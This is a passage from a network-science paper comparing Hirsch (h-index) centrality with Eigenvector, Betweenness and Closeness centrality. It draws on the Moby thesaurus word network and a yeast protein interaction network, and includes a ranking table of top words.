"\n\n **$h$ rank** **$E$ rank** \n -------------- ----------------- ---------- ---------- ----------------- ------------ ------------------\n **Hirsch** **Eigenvector** **Word** $\\:\\:\\:$ **Eigenvector** **Hirsch** **Word**\n 252 0,930 cut 1,000 74 cut up\n 237 0,701 set 0,930 252 cut\n 233 0,608 run 0,765 31 set upon\n 232 0,687 line 0,760 230 turn\n 230 0,760 turn 0,701 237 set\n 225 0,598 point 0,690 106 break up\n 222 0,608 cast 0,687 232 line\n 220 0,584 break 0,656 54 line up\n 218 0,560 mark 0,649 12 run wild\n 216 0,558 measure 0,637 57 turn upside down\n 213 0,597 pass 0,618 112 make up\n 211 0,570 check 0,617 45 cast up\n 209 0,487 crack 0,608 222 cast\n 206 0,562 make 0,608 233 run\n 203 0,448 dash 0,608 97 crack up\n 203 0,517 stamp 0,604 48 check out\n 202 0,514 work 0,598 225 point\n 200 0,484 strain 0,597 213 pass\n 196 0,491 hold 0,584 220 break\n 195 0,508 form 0,571 61 pass up\n 194 0,447 beat 0,570 211 check\n 193 0,500 get 0,562 206 make\n 193 0,429 rank 0,560 218 mark\n 193 0,469 round 0,558 73 fix up\n 192 0,517 go 0,558 216 measure\n\n : \\[Table\\] Top 25 words ranked by Hirsch centrality (left) and by Eigenvector centrality (right).",
"\n\nIn the case of the Yeast protein network (see Figure \\[F4\\]) we observe a strong correlation between $h$ and $E$ for $E > 0.2$. We notice that this regime is the relevant one for ranking purposes, say in the ranking of WWW pages or, in our case, to detect the most important proteins. ",
"The highest $h$ seem also to be bounded by a $h \\propto E^{0.4}$ behavior.",
"\n\nWe also observe a detaching cluster of nodes with low $E$ and moderate $h$ (see Figure \\[F4\\]). ",
"It is very interesting that all these nodes seem to pertain to ribosome proteins, meaning that the $h$ index carries information that can be useful for detecting modules of functionally related proteins. ",
"This will be studied in detail elsewhere.",
"\n\nSo, the important point is that, in the regime relevant for ranking purposes, the biological network data shows a strong correlation between the Eigenvector and Hirsch centralities, although the computation of the Hirsch index is much less demanding because it is not iterative and uses only local information. ",
"This suggests that the $h$ centrality can be useful for ranking purposes in large databases with results comparable with Eingenvector centrality. ",
"This claim could be tested in the paper citation network studied by Chen [*et al.*]{}",
" [@Chen:2007] where the *PageRank* algorithm, which core is the Eigenvector centrality concept, has given interesting results.",
"\n\nNow we argue that a local centrality measure like the $h$-index makes more sense for some kinds of networks than global measures like Betweenness and Closeness [@Newman:2001]. ",
"The Betweenness of a given node is proportional to the number of “geodesical” paths (minimal paths between node pairs in the network) that pass through it. ",
"Similarly, the Closeness of a node is the average length of the minimal paths between such node and all other nodes of the network. ",
"These seems to be important measures for networks where such minimal paths represent transport channels for information (internet, social networks), energy (powergrids), materials (airports network) or diseases (social and sexual networks).",
"\n\nBoth centrality measures make sense for studying diffusion and epidemic processes in transport networks, but the relevance of minimal paths is not so clear for linguistic or cultural networks like thesauri or, as another example, the network of culinary ingredients studied in [@Kinouchi:2008] where links represent associations but not channels. ",
"For networks similar to the linguistic one studied here there is a strong decay of correlations: two words $A$ and $C$ with minimal path of two links (that is, $A-B-C$) are almost uncorrelated, since this means that $C$ is not a word semantically related to $A$. ",
"The paths between words may be relevant to describe perhaps associative psychological processes (say, $A$ remembers $B$ that remembers $C$), but they are not channels in the same sense of physical transport networks. ",
"So, the locality of the $h$-index could be an advantage to its application for ranking nodes in non-transport networks where path distance or channel flux has poor relevance and are not important aspects to define centrality [@Borgatti:2005]. ",
"We notice that this could be the case of WWW pages since links represent more associations than channels and users do not navigate from link to link by large distances.",
"\n\nIn conclusion, we studied the $h$-index [@Korn:2009] in the Moby II Thesaurus network and the protein-protein interaction Yeast network. ",
"Several characteristic of this new centrality index have been highlighted. ",
"The Hirsch index seems to be a better local index than the node degree $D$ because it incorporates information about the importance of the node neighbours. ",
"Being local, it is computationally cheap to calculate. ",
"It seems to make more sense for non-transport networks than some global measures.",
"\n\nWe also found that the $h$-index is more correlated to Eigenvector centrality than Betweenness centrality. ",
"Indeed, in the ranking task for words in the thesaurus, Hirsch centrality seems even to outperform the Eigenvector measure as a centrality index, detecting basic polysemous words instead of more complicated and rare terms. ",
"Since Eigenvector centrality corresponds to the core idea behind the original *PageRank* algorithm [@Chen:2007], which is very computationally demanding at the Internet scale, we suggest that the $h$-index could furnish auxiliary information for ranking pages in the area of Search Engine Optimization. ",
"Due to the simplicity of the definition and computation of the $h$-index, comparing its performance with standard global centrality measures in other physical, biological and social networks promises very interesting results.",
"\n\nReferences {#references .unnumbered}\n==========\n"
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